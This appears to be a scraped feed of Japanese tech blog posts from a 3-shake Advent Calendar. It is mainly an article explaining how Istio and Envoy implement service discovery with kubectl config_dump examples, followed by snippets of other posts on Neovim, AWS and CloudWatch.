できます✌️サービスディスカバリーの種類についてIstioのサービス間通信を実現するサービスディスカバリーの仕組みについて記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとはなぜサービスディスカバリーが必要なのかサービスディスカバリーの要素サービスディスカバリーのパターンサービスディスカバリーのパターンとはサーバーサイドパターンクライアントサイドパターン03. Istioのサービスディスカバリーの仕組み全体像(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるロードバランシングdiscoveryコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるリクエスト受信04. istio-proxyコンテナ内のEnvoyの仕組み全体像(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるエンドポイント選択(6) 宛先マイクロサービスへのリクエスト送信EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイントリスナー▼ 確認方法▼ 結果ルート▼ 確認方法▼ 結果クラスター▼ 確認方法▼ 結果エンドポイント▼ 確認方法▼ 結果Envoyの処理の流れのまとめ(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるクラスター選択(6) 宛先マイクロサービスへのリクエスト送信05. おわりに謝辞記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F3-shake Advent Calender 2022 最終日の記事です\uD83C\uDF85普段、私は 俺の技術ノート に知見を記録しており、はてなブログはデビュー戦となります。最近の業務で、オンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、Istioのサービス間通信を実現するサービスディスカバリーの仕組みを記事で解説しました。Istioの機能の1つであるサービスディスカバリーは、その仕組みの多くをEnvoyに頼っているため、合わせてEnvoyの仕組みも説明します。それでは、もりもり布教していきます\uD83D\uDE1702. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとは平易な言葉で言い換えると サービス間通信 です。マイクロサービスアーキテクチャでは、マイクロサービスからマイクロサービスにリクエストを送信する場面があります。サービスディスカバリーとは、宛先マイクロサービスの宛先情報 (例:IPアドレス、完全修飾ドメイン名など) を検出し、送信元マイクロサービスが宛先マイクロサービスにリクエストを継続的に送信可能にする仕組みのことです。なぜサービスディスカバリーが必要なのかそもそも、なぜサービスディスカバリーが必要なのでしょうか。マイクロサービスアーキテクチャでは、システムの信頼性 (定められた条件下で定められた期間にわたり、障害を発生させることなく実行する程度) を担保するために、マイクロサービスのインスタンスの自動スケーリングを採用します。この時、自動スケーリングのスケールアウトでマイクロサービスが増加するたびに、各インスタンスには新しい宛先情報が割り当てられてしまいます。また、マイクロサービスが作り直された場合にも、宛先情報は更新されてしまいます。このように、たとえインスタンスの宛先情報が更新されたとしても、インスタンスへのリクエストに失敗しない仕組みが必要です。サービスディスカバリーの要素サービスディスカバリーの仕組みは、次の要素からなります。名前解決は、DNSベースのサービスディスカバリー (例:CoreDNS + Service + kube-proxyによるサービスディスカバリー) で必要となり、Istioでは使いません。そのため、本記事では言及しないこととします\uD83D\uDE47\uD83C\uDFFB‍ 要素 責務 送信元マイクロサービス リクエストを送信する。 宛先マイクロサービス リクエストを受信する。 サービスレジストリ 宛先マイクロサービスの宛先情報を保管する。 ロードバランサー 宛先マイクロサービスのインスタンスにロードバランシングする。 名前解決 宛先マイクロサービスへのリクエスト送信時に、名前解決可能にする。 サービスディスカバリーのパターンサービスディスカバリーのパターンとはサービスディスカバリーの実装方法にはいくつか種類があります。Istioのサービスディスカバリーは、このうちのサーバーサイドパターンを実装したものになります。サーバーサイドパターン送信元マイクロサービスから、問い合わせとロードバランシングの責務が切り離されています。送信元マイクロサービスは、ロードバランサーにリクエストを送信します。ロードバランサーは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、またリクエストをロードバランシングする責務を担っています\uD83D\uDCAA\uD83C\uDFFB(例) Istio、Linkerd、CoreDNS、AWS ALBなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Server-side service discoveryクライアントサイドパターン通信の送信元マイクロサービスは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、さらにロードバランシングする責務を担います。(例) NetflixのEureka、kube-proxyなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Client-side service discoveryService Discovery in Kubernetes: Combining the Best of Two Worlds03. Istioのサービスディスカバリーの仕組みIstioが実装するサービスメッシュには、サイドカープロキシメッシュとアンビエントメッシュがあり、今回はサイドカープロキシメッシュのサービスディスカバリーを取り上げます。Istioのサービスディスカバリーは、discoveryコンテナとistio-proxyコンテナが軸となり、サーバーサイドパターンのサービスディスカバリーを実装します。全体像(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47istio-proxyコンテナは、サービスレジストリへの問い合わせと、ロードバランシングする責務を担っていることに注目してください。(1) kube-apiserverによる宛先情報保管kube-apiserverは、Pod等の宛先情報をetcd等に保管します。これは、Kubernetesの通常の仕組みです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナは、kube-apiserverからPod等の宛先情報を取得し、自身に保管します。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナは、discoveryコンテナからPod等の宛先情報を双方向ストリーミングRPCで取得します。(4) istio-proxyコンテナによるリクエスト受信送信元マイクロサービスがリクエストを送信します。サーバーサイドパターンでの責務通り、送信元マイクロサービスはロードバランサー (ここではistio-proxyコンテナ) にリクエストを送信します。この時、送信元マイクロサービスがistio-proxyコンテナに直接的にリクエストを送信しているというよりは、iptablesがistio-proxyコンテナにリクエストをリダイレクトします。istio-proxyコンテナこれを受信します。(5) istio-proxyコンテナによるロードバランシングistio-proxyコンテナは、リクエストをロードバランシングし、また宛先Podに送信します。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blogdiscoveryコンテナの仕組み全体像の中から、discoveryコンテナを詳しく見てみましょう。discoveryコンテナは、別名Istiodと呼ばれています。XDS-APIというエンドポイントを公開しており、XDS-APIのうち、サービスディスカバリーに関係するAPIは以下の通りです。今回は詳しく言及しませんが、istio-proxyコンテナがHTTPSリクエストを処理するために、証明書を配布するためのSDS-APIもあります。 APIの種類 説明 LDS-API Envoyのリスナーを取得できる。 RDS-API Envoyのルートを取得できる。 CDS-API Envoyのクラスターを取得できる。 EDS-API Envoyのエンドポイントできる。 ADS-API 各XDS-APIから取得できる宛先情報を整理して取得できる。 Istio in Action(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得XDS-APIとistio-proxyコンテナの間では、gRPCの双方向ストリーミングRPCの接続が確立されています。そのため、istio-proxyコンテナからのリクエストに応じて宛先情報を返却するだけでなく、リクエストがなくとも、XDS-APIからもistio-proxyコンテナに対して宛先情報を送信します。XDS-APIのエンドポイントがいくつかあり、各エンドポイントから宛先情報を取得できます。一方で、各エンドポイントからバラバラに宛先情報を取得すると、Envoy上でこれを整理する時に、宛先情報のバージョンの不整合が起こる可能性があります。そのため、Istioは実際にはADS-APIを使用して宛先情報を取得します。istio-proxyコンテナの仕組み全体像の中から、istio-proxyコンテナを詳しく見てみましょう。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blog(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナでは、pilot-agentとEnvoyが稼働しています。先ほどistio-proxyコンテナは、双方向ストリーミングRPCでADS-APIから宛先情報を取得すると説明しました。厳密にはEnvoyが、pilot-agentを介して、ADS-APIから双方向ストリーミングRPCで宛先情報を取得します。(4) istio-proxyコンテナによるリクエスト受信istio-proxyコンテナによるリクエスト受信 と同じです。(5) istio-proxyコンテナによるリクエスト受信EnvoyはADS-APIから取得した宛先情報に基づいて、宛先マイクロサービスのインスタンスにロードバランシングします。04. istio-proxyコンテナ内のEnvoyの仕組み全体像EnvoyがADS-APIから取得した宛先情報を見ていく前に、Envoyの処理の流れを解説します。istio-proxyコンテナ内のEnvoyでは、以下の仕組みでHTTPリクエストを処理します。(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47Istio in Action (English Edition)Istio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and ObserveArchitecture Analysis of Istio: The Most Popular Service Mesh Project - Alibaba Cloud Community(1) 送信元マイクロサービスからリクエスト受信istio-proxyコンテナは、送信元マイクロサービスからリクエストを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先情報 (例:宛先IPアドレス、ポート番号、パス、ホストなど) に応じてリスナーを選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくルートを選びます。▶ TCPリクエストを処理する場合についてDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくクラスターを選びます。(5) Envoyによるエンドポイント選択Envoyは、クラスターに紐づくエンドポイントを選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントに対応するインスタンスにリクエストを送信します。Envoyで確認した宛先情報を\uD83D\uDC46に当てはめて見ていくことにしましょう。EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイント実際にEnvoyに登録されている宛先情報は、istio-proxyコンテナ自体のlocalhost:15000/config_dumpからJSON形式で取得できます。もしお手元にIstioがある場合は、Envoyにどんな宛先情報が登録されているか、Envoyを冒険してみてください。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump\\" | yq -P▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dリスナー▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_listeners}から確認できます。ここでは、foo-pod内でbar-podのリスナーを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -P▼ 結果以下を確認できました。宛先IPアドレスや宛先ポート番号に応じてリスナーを選べるようになっており、ここでは<任意のIPアドレス>:50002。リスナーに紐づくルートの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener # リスナー名 name: 0.0.0.0_50002 active_state: version_info: 2022-11-24T12:13:05Z/468 listener: \\"@type\\": type.googleapis.com/envoy.config.listener.v3.Listener name: 0.0.0.0_50002 address: socket_address: # 受信したパケットのうちで、宛先IPアドレスでフィルタリング address: 0.0.0.0 # 受信したパケットのうちで、宛先ポート番号でフィルタリング port_value: 50002 filter_chains: - filter_chain_match: transport_protocol: raw_buffer application_protocols: - http/1.1 - h2c filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: outbound_0.0.0.0_50001 rds: config_source: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本リスナーに紐づくルートの名前 route_config_name: 50002 ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationルート▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_route_configs}から確認できます。ここでは、foo-pod内でbar-podのルートを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。リスナーを取得した時に確認できたルートの名前リクエストのパスやHostヘッダーに応じてルートを選べるようになっているルートに紐づくクラスターの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig version_info: 2022-11-24T12:13:05Z/468 route_config: \\"@type\\": type.googleapis.com/envoy.config.route.v3.RouteConfiguration # ルートの名前 name: 50002 virtual_hosts: - name: bar-service.bar-namespace.svc.cluster.local:50002 # ホストベースルーティング domains: - bar-service.bar-namespace.svc.cluster.local - bar-service.bar-namespace.svc.cluster.local:50002 - bar-service - bar-service:50002 - bar-service.bar-namespace.svc - bar-service.bar-namespace.svc:50002 - bar-service.bar-namespace - bar-service.bar-namespace:50002 - 172.16.0.2 - 172.16.0.2:50002 routes: - match: # パスベースルーティング prefix: / route: # 本ルートに紐づくクラスターの名前 cluster: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local timeout: 0s retry_policy: retry_on: connect-failure,refused-stream,unavailable,cancelled,retriable-status-codes num_retries: 2 retry_host_predicate: - name: envoy.retry_host_predicates.previous_hosts host_selection_retry_max_attempts: \\"5\\" retriable_status_codes: - 503 max_stream_duration: max_stream_duration: 0s grpc_timeout_header_max: 0s decorator: operation: bar-service.bar-namespace.svc.cluster.local:50002/* ... - \'@type\': type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationクラスター▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?resource={dynamic_active_clusters}から確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。ルートを取得した時に確認できたクラスターの名前クラスターに紐づくエンドポイントの親名configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster version_info: 2022-11-24T12:13:05Z/468 cluster: \\"@type\\": type.googleapis.com/envoy.config.cluster.v3.Cluster # クラスターの名前 name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local type: EDS eds_cluster_config: eds_config: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本クラスターに紐づくエンドポイントの親名 service_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationエンドポイント▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?include_edsから確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。クラスターを取得した時に確認できたエンドポイントの親名bar-podのインスタンスが3個あるため、3個のエンドポイントがありますconfigs: dynamic_endpoint_configs: - endpoint_config: \\"@type\\": type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment # エンドポイントの親名 cluster_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local endpoints: - locality: region: ap-northeast-1 zone: ap-northeast-1a lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.1 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.2 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.3 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 policy: overprovisioning_factor: 140 ... - endpoint_config: ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentation▶ Envoyの負荷分散方式についてload_balancing_weightキー値が等しい場合、EnvoyはP2Cアルゴリズムに基づいてロードバランシングします\uD83D\uDC4DEnvoyの処理の流れのまとめ確認できた宛先情報を、Envoyの処理の流れに当てはめてみました。(1) 送信元マイクロサービスからリクエスト受信送信元マイクロサービスは、宛先マイクロサービス (<任意のIP>/:50002) にリクエストを送信します。サイドカーコンテナのistio-proxyコンテナはこれを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先 (IPアドレス、ポート番号、パス) からPodのリスナー (0.0.0.0_50002) を選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくPodのルート (50002) を選びます。(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのクラスター (outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local) を選びます。(5) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのインスタンスのエンドポイント (11.0.0.X/:50002) を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントの宛先にPodのリクエストを送信します。サービスディスカバリーの冒険は以上です⛵05. おわりにIstioの機能の1つである『サービスディスカバリー』の仕組みを、Envoyを交えながらもりもり布教しました。愛が溢れてしまいました。Istioの機能を1つとっても、複雑な仕組みで実現していることがお分かりいただけたかと思います。Istioありがとう\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F謝辞3-shake SRE Tech Talk での発表前後に、以下の方々に発表内容について助言をいただきました。@ido_kara_deru さん@yosshi_ さん@yteraoka さん(アルファベット順)また、今回の 3-shake Advent Calender 2022 は、以下の方々に企画いただきました。@jigyakkuma_ さん@nwiizo さん(アルファベット順)皆様に感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/25/060000","isoDate":"2022-12-24T21:00:00.000Z","dateMiliSeconds":1671915600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Steam Deck に Windows を入れたい方の参考になれば...!","contentSnippet":"この記事は 3-shake Advent Calendar 2022 の24日目の記事です。はじめに年末、しかもクリスマスということで散財させていただきました。初めまして、戸澤といいます。日常…","link":"https://qiita.com/tozastation/items/a57df36a369b5425795a","isoDate":"2022-12-24T08:36:33.000Z","dateMiliSeconds":1671870993000,"authorName":"tozastation","authorId":"tozastation"},{"title":"hop.nvimで直近の検索パターンにホップ","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の21日目の記事です。hop.nvimはeasymotion的な検索対象をラベル付けして、入力されたラベルの場所に飛ぶ系のプラグインです。私はこれまでfモーションの拡張としてしか使ってませんでしたが、/の代替として文字列検索に一致した箇所へホップする機能もあると気付きました。","link":"https://blog.atusy.net/2022/12/21/hop-nvim-gn/","isoDate":"2022-12-21T00:00:00.000Z","dateMiliSeconds":1671580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesのマニフェストをCIで検査する方針を考える","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 17日目の記事です。https://qiita.com/advent-calendar/2022/3-shake 概要以下の気持ちでKubernetesのマニフェストを検査するツールを選定しました。ベストプラクティスに則りたい細かなレビューの手間を省きたいセキュリティリスクを排除したい保守するのが大変なので出来るだけ自分でポリシーは書きたくない。書くとしても書きやすい方法で記述したい 検査ツールの選定以下のツールからカテゴリ別に選定することにしました。スキーマ検査kubeval...","link":"https://zenn.dev/tayusa/articles/ad9fafa197888b","isoDate":"2022-12-17T03:48:50.000Z","dateMiliSeconds":1671248930000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"もっと良い感じにstyler.nvimでアクティブなウィンドウか否かでカラースキームを変える","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の17日目の記事です。以前、Neovimとstyler.nvimを使ってアクティブウィンドウを目立たせる方法を紹介しました。styler.nvimでアクティブなウィンドウか否かでカラースキームを変える下図のように、注目しているウィンドウが一目瞭然なので気に入ってます。しかし、当時のコードはいくつかの課題を抱えていたので、もう少し洗練させることにしました。","link":"https://blog.atusy.net/2022/12/17/styler-nvim-active-win/","isoDate":"2022-12-17T00:00:00.000Z","dateMiliSeconds":1671235200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CloudWatch Logs のログストリームごとのサイズを取得する","contentSnippet":"動機Amazon CloudWatch Logs のログストリームごとのサイズを知りたいことがありました。たとえば Amazon EKS クラスタを立ち上げて Fluentd または Fluent Bit でログを CloudWatch Logs に送る設定をすると,Pod のログは単一のロググループ(デフォルトでは /aws/containerinsights/Cluster_Name/application)に集約されます。https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Container-Ins...","link":"https://zenn.dev/toshikish/articles/684e4d7ed4532f","isoDate":"2022-12-16T08:57:33.000Z","dateMiliSeconds":1671181053000,"authorName":"toshikish","authorId":"toshikish"},{"title":"エンジニア市場拡大のための「憧れの職業」の重要性に関する緒論","contentSnippet":"はじめに今回、4年ぶりにQiitaに記事を投稿させていただく。ひょんなきっかけ^1で私は、自身が勤めるスリーシェイクのアドベントカレンダーである3-shake Advent Calendar 2…","link":"https://qiita.com/skikkh/items/21c270c7ff7a942dc5f7","isoDate":"2022-12-16T02:21:05.000Z","dateMiliSeconds":1671157265000,"authorName":"skikkh","authorId":"skikkh"},{"title":"impatient.nvimによるNeovim起動高速化のコツと作者の思想","contentSnippet":"本記事はVimアドベントカレンダー2022の16日目の記事です。lewis6991/impatient.nvimは、Luaのモジュールをバイトコードとしてキャッシュしたり、モジュールに対応するパスをキャッシュすることで、Neovimの起動を高速化します。うまく使うと作者は54ms -> 6msと10倍近くの高速化を果たしていますし、他の最適化と組み合わせて30倍速を達成した例もあります(https://zenn.dev/kawarimidoll/articles/8172a4c29a6653)。プラグインマネージャは任意で、作者はpacker.nvim、後者の例はvim-plug、本記事の筆者はvim-jetpackを使っています。","link":"https://blog.atusy.net/2022/12/16/impatient-nvim/","isoDate":"2022-12-16T00:00:00.000Z","dateMiliSeconds":1671148800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"⛵️ Istioのサービス間通信を実現するサービスディスカバリーの仕組み","contentSnippet":"『3-shake SRE Tech Talk』の登壇資料です\\r\\rIstioのサービスディスカバリーの仕組みについて、Envoyを交えながら解説しました。\\r\\rスライドでは仕組みの詳細を解説できませんでしたので、ぜひ元記事 (Istioのサービス間通信を実現するサービスディスカバリーの仕組み) も参照ください\uD83D\uDC4D\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1603344099368570880","link":"https://speakerdeck.com/hiroki_hasegawa/istioniyorusahisuteisukaharinoshi-zu-mi","isoDate":"2022-12-15T05:00:00.000Z","dateMiliSeconds":1671080400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【Istio⛵️】\\"3-shake SRE Tech Talk\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Istioのサービスディスカバリーの仕組みについて発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『Istioのサービス間通信を実現するサービスディスカバリーの仕組み』ていうテーマで、 3-shake SRE Tech Talk に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!本日の発表資料です!⛵️#SRETThttps://t.co/0MKMYVa77u— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 15, 2022 ちな、発表内容の詳細はこの記事をみてくれよな!","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/15/025523","isoDate":"2022-12-15T03:00:00.000Z","dateMiliSeconds":1671073200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"時間がない人のための AWS Solutions Architect - Professional 勉強法","contentSnippet":"難度が高くしっかりとした準備が必要な AWS SA Pro 試験を申し込んだものの,残された時間があまりないという方向けに書いた勉強法の記事です。 試験の概略 特徴長文の選択式問題が75問出題され,それを180分で解くという長丁場な試験です。ざっくり1問あたり2分24秒かけられます。75問もあり,1問に複数のサービスを関連させられるので,AWS が重点的に問いたいサービス・テーマはもれなく出現します。AWS を使った2年以上の実務経験が想定されていますが,たいていの場合,実務で扱うサービスは主要なサービスに限られ,触ったこともないサービスが多く出題されます。そのため,確...","link":"https://zenn.dev/toshikish/articles/06d85a2db79f4d","isoDate":"2022-12-12T10:46:25.000Z","dateMiliSeconds":1670841985000,"authorName":"toshikish","authorId":"toshikish"},{"title":"AWS Control Towerを調べる","contentSnippet":"これは 3-shake Advent Calendar 2022 10日目の記事です仕事の中でAWSで複数のアカウントを管理したいという要件あり、その中でAWS Control Towerが使えないかなと調べたものをざっくりと書いていきます。AWS Control TowerとはAWS Control TowerとはLanding Zoneを実装するためのAWSのマネージドサービスです。そもそもLanding Zoneって何って話になりますね。Landing Zoneとはセキュリティとコンプライアンスのベストプラクティスに基づきアーキテクチャ設計とマルチアカウント環境を管理する仕組みを指します。Landing Zoneは、下記機能から構成されます。アカウントの発行必要な初期設定の済んだアカウントを作成管理用権限の発行対象アカウントを管理するための権限を作成AWS ログの集約監査用ログをセキュアに一元保存ガードレールの設置実施してはいけない操作の禁止危険な設定の監視Landing Zoneの実装方法AWS Control TowerAWSサービスとして提供される Landing Zoneです。容易に利用可能ですが、カスタマイズするには制限があります。(必須のガードレールを外せなかったり)主にこれからAWSを利用する場合に利用できます。既存アカウントにも適用可能です。独自実装の Landing Zone自組織で独自実装するパターンです。自組織の方針に従って自由にカスタマイズできるのが強みです。ただし、自由にカスタマイズはできますが、自身でメンテナンスしないといけないので、コストはかかります。主に既存アカウントに適用する場合に利用できます。自組織でアカウント発行の仕組みや管理の仕組みができあがってる場合などです。そもそもなんでマルチアカウントにするのかAWSをマルチアカウントにする観点として以下のものが考えられます。環境の分離開発、テスト、本番を分離することによるセキュリティおよび統制の確保請求の分離部門やシステム単位でのコスト明確化権限の分離部門間での権限分離およびアカウントへの権限移譲複雑性の分離アカウントの目的を明確に絞ることで、構成がシンプルになるAWS Organizationsだけでもできることマルチアカウント管理するだけならOrganizationだけでもある程度はできます。むしろAWS Control TowerはOrganizationの機能を利用しています。複数AWSアカウントの一元管理Organization Unit(OU)の作成複数アカウントのグルーピング化AWSアカウントの発行Service Control Policyの作成、OUへの適用複数アカウントの一括請求AWS Control Towerだと何ができるのかControl Towerで提供される機能として以下のものがあります。Landing Zoneの提供AWS Organizationを使用してマルチアカウントを作成デフォルトでSandbox、SecurityのOUを作成AWS IAM アイデンティティセンターを利用したID管理を提供Account FactoryAWSアカウントのプロビジョニングの自動化設定可能なテンプレートを提供CloudTrailとConfigログの保存Log Archiveアカウント内のS3バケットに一元的に保存されるガードレールの提供必須と任意の観点の2種類と予防的と発見的の2種類の組み合わせがありControl Towerにより管理下のアカウントに適用される参考: ガードレールの仕組み予防的ガードレール(Service Control Policy)禁止されたアクションの実行が拒否される仕組みControl Tower管理下のアカウントは必須の予防的ガードレールで禁止されているアクションが不可能発見的ガードレール(Config)特定のイベントが発生したときにCloudTrailに記録される仕組みダッシュボードOUやアカウント、ガードレール違反などが一覧表示できるAWS Control TowerではできないことAWS Control Towerでは提供されてない機能もあります。GuardDutyやSecurity Hubなどのセキュリティ機能を組織全体適用するにはOrganizationsの機能を利用する必要があります。AWS Control Towerの注意点、制約事項いろいろ資料を見てみてこの辺注意が必要かなという点を書いていきます。注意点既存アカウントの Control Tower への受入処理時にエラーになった場合、スタックセット内で自動実行される作業の一部手作業が必要になる参考:トラブルシューティング - AWS Control Tower独自ガードレールの追加は可能だが、容易ではない。必須ガードレールを外せない参考:必須のガードレール - AWS Control Tower各種セキュリティー機能は自動で有効化されないため、Control Towerの範囲外のセキュリティ機能は Control Tower の機能の外で管理が必要になる範囲内の機能: Config, CloudTrail, SCP範囲外の機能: GuardDuty, Security Hub, IAM Access Analyzer, DetectiveControl Tower 未対応リージョンを使用している場合、Control Tower適用リージョンと適用外リージョンが混在して管理が煩雑になる大阪リージョン未対応なのでマルチリージョンを考えるときに注意Control Towerはマネージドサービスであるが追加機能によっては手動バージョンアップ が必要になるケースがある参考: ランディングゾーンを更新する - AWS Control Tower参考: 更新について - AWS Control Towerログアーカイブアカウントで独自のログバケットを作成可能だが、非推奨参考: 